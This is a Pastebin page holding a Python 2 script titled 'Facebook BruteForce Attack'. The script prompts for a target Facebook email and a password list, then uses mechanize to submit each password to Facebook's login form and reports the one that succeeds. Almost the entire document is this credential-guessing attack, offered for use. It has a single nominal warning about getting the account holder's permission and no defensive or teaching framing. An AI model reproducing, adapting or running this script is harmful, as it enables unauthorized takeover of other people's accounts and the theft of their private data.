thieumao

Facebook BruteForce Attack

Jul 27th, 2013
3,900
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.93 KB | None | 0 0
  1. #!usr/bin/python
  2.  
  3. import sys
  4. import random
  5. import mechanize
  6. import cookielib
  7.  
  8.  
  9. GHT = '''
  10.    /\ _  /\___       /\___/\_____ /\___ __
  11.   /  \/ \/  __/QQ  /\/  __/  __/__/  __//_/
  12.   \  \ \ _/ /\ /  \ _/ \_  \|  \_  \
  13.   / \  .// _/  \/ _  \ _  \ \ | \ \
  14. _ /  /\ // \/ \ \ /  ./\/ \\/ ./  |\/ ./
  15. \\\_/  \/\__ //\/\/\ //\___/_ //|__|_ //
  16. -=Presents=\/======\/=======\/======\/=-
  17. '''
  18. print "Warning - do not use this tool without the permission of the Facebook account holder"
  19. print "Hit CTRL+C to quit the program"
  20.  
  21. email = str(raw_input("Enter the Facebook email account you want to crack : "))
  22. passwordlist = str(raw_input("Enter the name of the password list file : "))
  23.  
  24. useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
  25.  
  26.  
  27.  
  28. login = 'https://www.facebook.com/login.php?login_attempt=1'
  29. def attack(password):
  30.  
  31.   try:
  32.      sys.stdout.write("\r[*] trying %s.. " % password)
  33.      sys.stdout.flush()
  34.      br.addheaders = [('User-agent', random.choice(useragents))]
  35.      site = br.open(login)
  36.      br.select_form(nr=0)
  37.  
  38.      
  39.      ##Facebook
  40.      br.form['email'] =email
  41.      br.form['pass'] = password
  42.      br.submit()
  43.      log = br.geturl()
  44.      if log != login:
  45.         print "\n\n\n [*] Password found .. !!"
  46.         print "\n [*] Password : %s\n" % (password)
  47.         sys.exit(1)
  48.   except KeyboardInterrupt:
  49.         print "\n[*] Exiting program .. "
  50.         sys.exit(1)
  51.  
  52. def search():
  53.     global password
  54.     for password in passwords:
  55.         attack(password.replace("\n",""))
  56.  
  57.  
  58.  
  59. def check():
  60.  
  61.     global br
  62.     global passwords
  63.     try:
  64.        br = mechanize.Browser()
  65.        cj = cookielib.LWPCookieJar()
  66.        br.set_handle_robots(False)
  67.        br.set_handle_equiv(True)
  68.        br.set_handle_referer(True)
  69.        br.set_handle_redirect(True)
  70.        br.set_cookiejar(cj)
  71.        br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  72.     except KeyboardInterrupt:
  73.        print "\n[*] Exiting program ..\n"
  74.        sys.exit(1)
  75.     try:
  76.        list = open(passwordlist, "r")
  77.        passwords = list.readlines()
  78.        k = 0
  79.        while k < len(passwords):
  80.           passwords[k] = passwords[k].strip()
  81.           k += 1
  82.     except IOError:
  83.         print "\n [*] Error: check your password list path \n"
  84.         sys.exit(1)
  85.     except KeyboardInterrupt:
  86.         print "\n [*] Exiting program ..\n"
  87.         sys.exit(1)
  88.     try:
  89.         print GHT
  90.         print " [*] Email to crack : %s" % (email)
  91.         print " [*] Loaded :" , len(passwords), "passwords"
  92.         print " [*] Cracking, please wait ..."
  93.     except KeyboardInterrupt:
  94.         print "\n [*] Exiting program ..\n"
  95.         sys.exit(1)
  96.     try:
  97.         search()
  98.         attack(password)
  99.     except KeyboardInterrupt:
  100.         print "\n [*] Exiting program ..\n"
  101.         sys.exit(1)
  102.  
  103. if __name__ == '__main__':
  104.     check()
Advertisement
Add Comment
Please, Sign In to add comment